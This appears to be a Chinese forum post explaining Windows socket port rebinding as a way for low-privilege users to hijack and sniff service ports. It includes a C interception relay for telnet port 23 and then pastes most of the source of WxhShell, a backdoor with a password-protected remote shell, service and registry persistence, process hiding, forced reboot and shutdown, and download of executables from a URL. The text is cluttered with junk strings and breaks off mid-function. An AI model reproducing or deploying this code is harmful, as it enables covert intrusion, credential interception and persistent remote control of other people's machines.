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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: It4J \S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *IGgbg[0  
Au" [2cG  
  saddr.sin_family = AF_INET; !\8j[QS!  
)=X8kuB~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0bpl3Fh.v  
(CH F=g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2|#3rF  
}{S W~yW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5sx-u!7  
N@^?J@#V  
  这意味着什么?意味着可以进行如下的攻击: >'8.>f  
;/SM^&Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^Yn{Vi2.  
2HMlh.R(C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -rlxxLT+  
>ea<6&!Ee  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `yHV10  
Hi9;i/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^owEB%  
U,+kV?Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gNzQ"W=  
?4_^}B9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^&DHBx"J  
Zcz)FP#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r+>E`GGQ  
U^~K-!0  
  #include SA{A E9y  
  #include 'e\m6~u\hm  
  #include "a6 wd  
  #include    GOa](oD}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f 7et  
  int main() 6U7z8NV&[  
  { _4rb7"b1  
  WORD wVersionRequested; @=b0>^\m  
  DWORD ret; <0R7uH  
  WSADATA wsaData; FymA_Eq  
  BOOL val; W UdKj  
  SOCKADDR_IN saddr; g^ ^%4Y  
  SOCKADDR_IN scaddr; EUe2<G  
  int err; 0;3;Rs  
  SOCKET s; C_PXh>H]'  
  SOCKET sc; J~DP*}~XK  
  int caddsize; HPCgv?E3  
  HANDLE mt; o~gduNG#  
  DWORD tid;   * C~  
  wVersionRequested = MAKEWORD( 2, 2 ); AzN.vA)q  
  err = WSAStartup( wVersionRequested, &wsaData ); JXGIVH?Rpu  
  if ( err != 0 ) { & .+[~2  
  printf("error!WSAStartup failed!\n"); R',|Jf=`  
  return -1; =5%jKHo+9z  
  } #'^p-Jdm  
  saddr.sin_family = AF_INET; =1^Ru*G  
   c$?qN&X_K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r1-?mMSU&  
%zd1\We  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u-pE ;|  
  saddr.sin_port = htons(23); C\.?3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }%y_Lc L  
  { W&z.O  
  printf("error!socket failed!\n"); doP4N6   
  return -1; Rh9>iA@fd  
  } *A GC[w}/  
  val = TRUE; Fmt5"3B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;#3!ZB:}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =a?l@dI]  
  { M$%aX,nk'  
  printf("error!setsockopt failed!\n"); 68Wm=j.m  
  return -1; p."pI Bd  
  } _myam3[W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Trbgg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i{T0[\4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 emw3cQ  
z.]t_`KuF9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?_m;~>C  
  { i<bFF03*S  
  ret=GetLastError(); @a>+r1  
  printf("error!bind failed!\n"); W5_t/_EWD  
  return -1; }.o rfW  
  } yXppu[=  
  listen(s,2); E} Uy-  
  while(1) -Qiay/tlu  
  { #R305  
  caddsize = sizeof(scaddr); ^z9ITGB~tV  
  //接受连接请求 ;'}1   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4zpprh+`K  
  if(sc!=INVALID_SOCKET) }v0oFY$u`H  
  { GZXUB0W\@)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g?^o++  
  if(mt==NULL) eO (VSjo'`  
  { lp!@uoN^T  
  printf("Thread Creat Failed!\n"); T9RR. ng  
  break; qK.8^{b  
  } H:,rNaz7D^  
  } !(uyqplTk  
  CloseHandle(mt); h+,zfVJu  
  } JT[|l-\zo  
  closesocket(s); yew9bn0a=  
  WSACleanup(); d@7 ]=P:  
  return 0; V_Wv(G0-\  
  }   IA$:r@QNx8  
  DWORD WINAPI ClientThread(LPVOID lpParam) .FqbX5\p,  
  { wcsUb 9(  
  SOCKET ss = (SOCKET)lpParam; 9N5 &N3  
  SOCKET sc; asj^K|.z  
  unsigned char buf[4096]; k/j]*~"  
  SOCKADDR_IN saddr; ~BrERUk  
  long num; _9Iz'-LgB  
  DWORD val; EXS 1.3>  
  DWORD ret; $w)yQ %  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eMPi ho  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rVt6tx  
  saddr.sin_family = AF_INET; 1 c3gHc7{t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _?Rprmjx}  
  saddr.sin_port = htons(23); X*]uLgbl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \[B5j0vV,  
  { vtCt6M  
  printf("error!socket failed!\n"); \a<qI  
  return -1; HB||'gIC  
  } 9,`WQ+OI  
  val = 100; [Sg1\UTl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) owmV7E1  
  { %g kR G66  
  ret = GetLastError(); Wf-i)oc4I  
  return -1; C6M|A3^T  
  }  pzg|?U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -3_-n*k!  
  { )_,*2|b  
  ret = GetLastError(); O:{I9V-=>s  
  return -1; }NMA($@A  
  } c] $X+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L1VUfEG-  
  { #:3ca] k  
  printf("error!socket connect failed!\n"); O B_g:T  
  closesocket(sc); i,8h B(M!  
  closesocket(ss); ;;2XLkWu  
  return -1; ]p\7s  
  } ]EnB`g(4;  
  while(1) 4;<?ec(dc  
  { Z[)t34EY"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D\}^<HW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Qo4]_,kR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O6pswMhAc  
  num = recv(ss,buf,4096,0); f<=<:+  
  if(num>0) s+#gH@c  
  send(sc,buf,num,0); P6u9Ngay  
  else if(num==0) Y}&//S A  
  break; =kp #v  
  num = recv(sc,buf,4096,0); yAy~|1}  
  if(num>0) EeIV6ug  
  send(ss,buf,num,0); 9.{u2a\  
  else if(num==0) 6NPCp/  
  break; (+`pEDD{X  
  } *T-+Pm-Cq  
  closesocket(ss); "9'~6b  
  closesocket(sc); b|^g51v  
  return 0 ; 3k.{gAZKh  
  } H!?Av$h`  
d&BocJ  
lr'h  
========================================================== c@wSv2o$  
(OwAhjHE  
下边附上一个代码,,WXhSHELL EiQX* v  
0x7F~%%2  
========================================================== =iW!Mq  
##+|zka!U  
#include "stdafx.h" Ls< ";QJc  
QkS~~|0EI>  
#include <stdio.h> b`){f\#t  
#include <string.h> hiq7e*Nsb  
#include <windows.h> d[E~}Dq3#  
#include <winsock2.h> e/Wrm^]y  
#include <winsvc.h> BgRfy2:  
#include <urlmon.h> f4UnLig  
[EI~/#;  
#pragma comment (lib, "Ws2_32.lib") UF0W%Z  
#pragma comment (lib, "urlmon.lib") 6_]-&&Nr  
Rah"La  
#define MAX_USER   100 // 最大客户端连接数 TUHm.!+a  
#define BUF_SOCK   200 // sock buffer rH*1bDL  
#define KEY_BUFF   255 // 输入 buffer Oxo?\ :T  
*j5>2-C &  
#define REBOOT     0   // 重启 h DpIwzJ  
#define SHUTDOWN   1   // 关机 +`tl<r g;  
G&=4@pLY5  
#define DEF_PORT   5000 // 监听端口 l r80RL'_  
/kV3[Rw+  
#define REG_LEN     16   // 注册表键长度 )3K#${p  
#define SVC_LEN     80   // NT服务名长度 a%| I'r  
jz,Mm,Gi  
// 从dll定义API gZA[Sq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $J6Pv   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qE B3Y54+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V`P8oIOh]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .5L|(B=H  
g)0>J  
// wxhshell配置信息 ?*DM|hzOi  
struct WSCFG { H<_BnT #  
  int ws_port;         // 监听端口 & -r^Q  
  char ws_passstr[REG_LEN]; // 口令  N>ncv  
  int ws_autoins;       // 安装标记, 1=yes 0=no kN7 J Z12  
  char ws_regname[REG_LEN]; // 注册表键名 UWU(6J|Fk  
  char ws_svcname[REG_LEN]; // 服务名 eTg8I/ )%B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aQ!QrTua-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y7CC5S ?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C,;T/9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AWaptw_p*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" grD[7;1~:)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z$g cK>@l  
$Lj~ge3#  
}; F/pq9  
,+w9_Gy2H  
// default Wxhshell configuration /q| r!+  
struct WSCFG wscfg={DEF_PORT, r]q;>\T'  
    "xuhuanlingzhe", G^r`)ND  
    1, D;nd_{%  
    "Wxhshell", LZ#=Ks  
    "Wxhshell", ;R5@]Hg6q  
            "WxhShell Service", EdL2t``  
    "Wrsky Windows CmdShell Service", 5D]3I=kj  
    "Please Input Your Password: ", ATQw=w 3W  
  1, 6=cfr; BH2  
  "http://www.wrsky.com/wxhshell.exe", J`6IH#54  
  "Wxhshell.exe" LNz  
    }; Clz. p  
9Lus,l\  
// 消息定义模块 ]& 8c 45c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J#.f%VJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }b5omHUE%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1.9bU/X  
char *msg_ws_ext="\n\rExit."; WCTmf8f  
char *msg_ws_end="\n\rQuit."; ^C=dq(i=[  
char *msg_ws_boot="\n\rReboot..."; n~"qbtp}  
char *msg_ws_poff="\n\rShutdown..."; O]4v\~@-j  
char *msg_ws_down="\n\rSave to "; }_/]f!]  
2jf73$F  
char *msg_ws_err="\n\rErr!"; gmUXh;aHc  
char *msg_ws_ok="\n\rOK!"; 7vo8lnQ{  
LC1WVK/  
char ExeFile[MAX_PATH]; tJG+k)EE  
int nUser = 0; |,bP` Z  
HANDLE handles[MAX_USER]; pV8_i7\  
int OsIsNt; [psZc'q  
~8 B]  
SERVICE_STATUS       serviceStatus; (ZPl~ZO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c@E;v<r'  
XF&_**0n  
// 函数声明 YpOcLxFL  
int Install(void); kYhV1I  
int Uninstall(void); Y\,aJL$  
int DownloadFile(char *sURL, SOCKET wsh); 85x34nT  
int Boot(int flag); HNRAtRvnY  
void HideProc(void); mtg=v@~  
int GetOsVer(void); uTdx`>M,O  
int Wxhshell(SOCKET wsl); !/ a![Ne  
void TalkWithClient(void *cs); _/czH<   
int CmdShell(SOCKET sock); jY2mn".N  
int StartFromService(void); A`--*$8\  
int StartWxhshell(LPSTR lpCmdLine); eB&.keO  
(@1>G ^%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \0W0o5c$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s TVX/Q  
x?UAj8z6  
// 数据结构和表定义 /F$E)qN7n  
SERVICE_TABLE_ENTRY DispatchTable[] = p[O\}MAd#  
{ =@nE:uto]  
{wscfg.ws_svcname, NTServiceMain}, %aI,K0\  
{NULL, NULL} yq?\.~ax  
}; )oALB vX  
z~-(nyaBS  
// 自我安装 .=)[S5.BVq  
int Install(void) MQQQaD:v  
{ eslvg#Q  
  char svExeFile[MAX_PATH]; Pl. y9g~  
  HKEY key; ,#czx3?4  
  strcpy(svExeFile,ExeFile); N%,zME  
67;6nXG0K  
// 如果是win9x系统,修改注册表设为自启动 xk  
if(!OsIsNt) { [8<0Q_?,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;PB_ @Zg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E/hT/BOPK  
  RegCloseKey(key); `g_r<EY8/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kx?.g#>U;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BoQ%QV69%  
  RegCloseKey(key); aX~Jk >a0  
  return 0; '`YZJ  
    } )QW hzY  
  } _s+G02/q1  
} {{Qbu }/@  
else { z9:yt5ar  
bSz@@s.  
// 如果是NT以上系统,安装为系统服务 M}j[{wW3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,J '_Vi  
if (schSCManager!=0) M KX+'p\w  
{ t-5K dLB  
  SC_HANDLE schService = CreateService ?(U a+*b  
  ( W':b6}?  
  schSCManager, qX`Hi9ja  
  wscfg.ws_svcname, ) "?eug}D  
  wscfg.ws_svcdisp, oY5`r)C7  
  SERVICE_ALL_ACCESS, u|Oc+qA(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ::+;PRy_E  
  SERVICE_AUTO_START, qco uZO  
  SERVICE_ERROR_NORMAL, FW5v 1s=  
  svExeFile, 'Hzc"<2Y\  
  NULL, 0l4f%'f  
  NULL, +*w}H 0Z  
  NULL, pGfGGY>i%  
  NULL, /\_n5XI1  
  NULL : 5['V#(o  
  ); E]8uj8K3]  
  if (schService!=0) xmEom  
  { #s81 k@#X  
  CloseServiceHandle(schService); |V4<eF-0S  
  CloseServiceHandle(schSCManager); TqL+^:cq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' tHa5`  
  strcat(svExeFile,wscfg.ws_svcname); ~#4FL<W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0{uaSR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )#8g<]q  
  RegCloseKey(key); O_ZYm{T[7  
  return 0; G@`ZDn  
    } -%]1q#C>@  
  } "OA{[)fw"  
  CloseServiceHandle(schSCManager); Qclq^|O0  
} a|= ^   
} ^<qi&*  
(X Oz0.W  
return 1; \K~wsu/?`  
} V@T(%6<|  
WR`NISSp  
// 自我卸载 )`(]jx!  
int Uninstall(void) dCS f$5  
{ jDqG9]  
  HKEY key; -|^)8  
\v6lcAL-  
if(!OsIsNt) { YvcV801Go  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $i6z)]rjg  
  RegDeleteValue(key,wscfg.ws_regname); A6 .wXv,  
  RegCloseKey(key); ,Pcg+^A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +&S6se4  
  RegDeleteValue(key,wscfg.ws_regname); mNacLkh[  
  RegCloseKey(key); +-(,'slov  
  return 0; QRK\74'uY  
  } zRD-[Z/-  
} L'S,=NYXY  
} jwAYlnQ^EM  
else { 2_)UHTwsK  
~Gz9pBv1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NN=^4Xpc:  
if (schSCManager!=0) &^DVSVqs^  
{ 8 /t';  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p%&$%yz$  
  if (schService!=0) -y$6gCRY  
  { CYQ)'v  
  if(DeleteService(schService)!=0) { ~CkOiWC0  
  CloseServiceHandle(schService); 7L6L{~8 W  
  CloseServiceHandle(schSCManager); tE {M  
  return 0; H\a"=&M  
  } 1=z[U|&R  
  CloseServiceHandle(schService); w(aHB8T  
  } Y8]@y0(  
  CloseServiceHandle(schSCManager); V`#2jDz  
} fV5$[CL1  
} sH;_U)ssH  
Gj-nT N  
return 1; t1o 6;r K  
} [SC6{ |  
9QLG:(~;  
// 从指定url下载文件 cPuXy e  
int DownloadFile(char *sURL, SOCKET wsh) n`&D_AbQ  
{ |,:p[Oy  
  HRESULT hr; S<Gm*$[7  
char seps[]= "/"; T\bP8D  
char *token; >~rlnRX  
char *file; Sk>=C0f:  
char myURL[MAX_PATH]; kt)Et  
char myFILE[MAX_PATH]; \q1tT!]  
g ,EDE6`8  
strcpy(myURL,sURL); bV&9>fC  
  token=strtok(myURL,seps); `qs}L  
  while(token!=NULL) z5]6"v -  
  { gh ?[x.U  
    file=token; > B@c74  
  token=strtok(NULL,seps); jL^@;"/XhC  
  } =X7kADRq  
*YeQC t-l  
GetCurrentDirectory(MAX_PATH,myFILE); JOY&YA$U  
strcat(myFILE, "\\"); ^gvTc+|  
strcat(myFILE, file); }rfikm  
  send(wsh,myFILE,strlen(myFILE),0); rx2'].  
send(wsh,"...",3,0); IoLi7NKw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8CZfz!2  
  if(hr==S_OK) .6C/,rQ?c  
return 0; zvdut ,6<  
else EwN{|34C  
return 1; &=kv69v  
Zyz#xMmM  
} 8A3/@Z;0S  
Mww^  
// 系统电源模块 vnvpb! @Q  
int Boot(int flag) %T]^,y$n  
{ w/nohZF6H  
  HANDLE hToken; :IS?si5|  
  TOKEN_PRIVILEGES tkp; Uw.')ZY=  
6Bjo9,L  
  if(OsIsNt) { ~ #3{5* M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FHr)xqo=~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O68-G  
    tkp.PrivilegeCount = 1; I!Z`'1"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !2Nk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k9rws  
if(flag==REBOOT) { fasW b&~z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .u7} p#  
  return 0; JFm@jc  
} H **tMq  
else { ?^%[*OCCC!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NLMvi!5w,  
  return 0; 0AQ4:KV(Y  
} [_)`G*X(N  
  } Z?'CS|u d  
  else { bN. G%1  
if(flag==REBOOT) { M co:eE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F5Xb_&   
  return 0; s0?'mC+p  
} rS BI'op  
else { dRron_'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k-|g  
  return 0; f1_;da  
} eA!Z7 '  
}  _'!?fA  
 +x 3x  
return 1; zas&gsl-;  
} XZ |L D#  
PK:Lv15"r  
// win9x进程隐藏模块 lz0-5z+\  
void HideProc(void) 6m;>R%S_  
{ ! *sXLlS  
.Od:#(aq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ep;uz5 ^8  
  if ( hKernel != NULL ) JI!1 .]&  
  { &gXL{cK'%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9!n:hhJM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,/+Mp  
    FreeLibrary(hKernel); #EzhtuHxn  
  } 'r!!W0-K  
< c^'$  
return; cn} CI  
} .:j{d}p}  
Z3TCi7,m  
// 获取操作系统版本 W]D YfR,  
int GetOsVer(void) \XB,)XDB  
{ b;QgL_w  
  OSVERSIONINFO winfo; v)du]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u;t<rEC2  
  GetVersionEx(&winfo); i`sZP#h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F `:Q  
  return 1; 1/9*c *w  
  else t`JT  
  return 0; @H?OHpJ"`  
} pqO3(2F9  
)W\ )kDh!  
// 客户端句柄模块 E^rBs2;9  
int Wxhshell(SOCKET wsl) QwhO /  
{ w@-G_-6W  
  SOCKET wsh; En&7e  
  struct sockaddr_in client; ^N<aHFF  
  DWORD myID; K7&]| ^M9  
U=D;Cj Ah  
  while(nUser<MAX_USER) @TALZk'%  
{ k$%{w\?Jf  
  int nSize=sizeof(client); V Dnrm*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e2=}qE7  
  if(wsh==INVALID_SOCKET) return 1; PJB_"?NTTC  
Bdh*[S\u@E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N#M>2b<A/T  
if(handles[nUser]==0) ia\Gmh  
  closesocket(wsh); ph6/+[:  
else PNAvT$0LaZ  
  nUser++; [Z/P[370  
  } 4}N+o+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @] .s^ss9_  
E4Q`)6]0  
  return 0; ;0WAfu}#H  
} |E K6txRb  
^r}Uu~A>  
// 关闭 socket DH\Ox>b=  
void CloseIt(SOCKET wsh) {@KLN<  
{ waC i9  
closesocket(wsh); &H# l*  
nUser--; Ds] .Ae  
ExitThread(0); G--vwvL  
} 7x`$ A  
[5xm>Y&}  
// 客户端请求句柄 S3x^#83  
void TalkWithClient(void *cs) T|\sN*}\8J  
{ \KJTR0EB:>  
X{xkXg8h  
  SOCKET wsh=(SOCKET)cs; ^e "4@O"  
  char pwd[SVC_LEN]; fQ~~%#z1  
  char cmd[KEY_BUFF]; #p=+RTZ<  
char chr[1]; TCzz]?G]la  
int i,j; L`M{bRl+1  
< *iFVjSI(  
  while (nUser < MAX_USER) { a.u{b&+9  
q#Otp\f  
if(wscfg.ws_passstr) { GAH<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Ajhf}zJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mKM[[l&A  
  //ZeroMemory(pwd,KEY_BUFF); :Dr4?6hdr  
      i=0; b^[>\s'  
  while(i<SVC_LEN) { \W_ Dz*N  
*W2] Kxx*  
  // 设置超时 Q >yj<DR  
  fd_set FdRead; 49/2E@G4.  
  struct timeval TimeOut; ;N!n06S3  
  FD_ZERO(&FdRead); :zC=JvKT  
  FD_SET(wsh,&FdRead); ]nV_K}!w  
  TimeOut.tv_sec=8;  b%F'Ou~  
  TimeOut.tv_usec=0; cJT_Qfxx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s!09cS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M2:3 k  
~>]Ie~E: (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z^F>sUMR  
  pwd=chr[0]; S% ptG$Z  
  if(chr[0]==0xd || chr[0]==0xa) { iw(`7(*  
  pwd=0; ZWFOC,)b  
  break; VKXB)-'L  
  } M9Z9s11{H  
  i++; ][z!};  
    } P'5Lu  
'bji2#z[  
  // 如果是非法用户,关闭 socket UHl1>(U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2#`d:@r  
} -uAGG?ZER  
_n*gj-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H6#SP~V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " H=fWz5z  
|c]L]PU  
while(1) { `EP-Qlm  
4mGRk)hk:>  
  ZeroMemory(cmd,KEY_BUFF); ;%n(ARZ#  
>]bS"S  
      // 自动支持客户端 telnet标准   @$ )C pg  
  j=0; IxlPpS9Wx  
  while(j<KEY_BUFF) { @bFl8-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D1fUEHB}A8  
  cmd[j]=chr[0]; j,_{f =3;  
  if(chr[0]==0xa || chr[0]==0xd) { |[bQJ<v6  
  cmd[j]=0; 3v~}hV/RUy  
  break; |Pse=_i  
  } d D^?%,a  
  j++; H,fVF837  
    } Iak06E  
{>&M:_`k  
  // 下载文件 l~`JFWur]  
  if(strstr(cmd,"http://")) { 2IDn4<`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3A b_Z  
  if(DownloadFile(cmd,wsh)) ^F"eHUg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mc6W"  
  else M w+4atO4[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ac,bf 8C  
  } 7 (i\?  
  else { X0m6<q  
QRY7ck:N  
    switch(cmd[0]) { ;xE1#ZT  
  HtI>rj/\ x  
  // 帮助 "k7C   
  case '?': { Uv3Fe%>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QTI^?@+N>  
    break; Fc"+L+h@W  
  } Mw $.B#  
  // 安装 nqujT8  
  case 'i': { t4,(W`  
    if(Install())  -Ly A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fPsUIlI/A  
    else u&Y1,:hiL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZP7wS  
    break; 9O#?r82  
    } ML_[Z_Q<z  
  // 卸载 yCye3z.  
  case 'r': { [IuF0$w=dj  
    if(Uninstall()) >:U{o!N`#_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Js8d{\0\  
    else fxX4 !r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N Y~y:*:Q  
    break; A&;Pt/#'  
    } k'Z$#  
  // 显示 wxhshell 所在路径 r)t-_p37  
  case 'p': { *6*/kV? F  
    char svExeFile[MAX_PATH]; fyt`$y_E[  
    strcpy(svExeFile,"\n\r"); y <21~g=  
      strcat(svExeFile,ExeFile); v/DWy(CC  
        send(wsh,svExeFile,strlen(svExeFile),0); bG9$&,  
    break; |h1 Y3  
    } oQ8If$a}  
  // 重启 n<>/X_m  
  case 'b': { Q" an6ht|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); be{tyV  
    if(Boot(REBOOT)) HvVS<Ke  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0(dXU\Y  
    else { Ni 5Su  
    closesocket(wsh); '@+a]kCMev  
    ExitThread(0); )OcG$H NK  
    } `]:&h'  
    break; 5%Q[X  
    } @#5PPXp  
  // 关机 a7Rg!%r  
  case 'd': { qy|si4IU8,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0FD+iID  
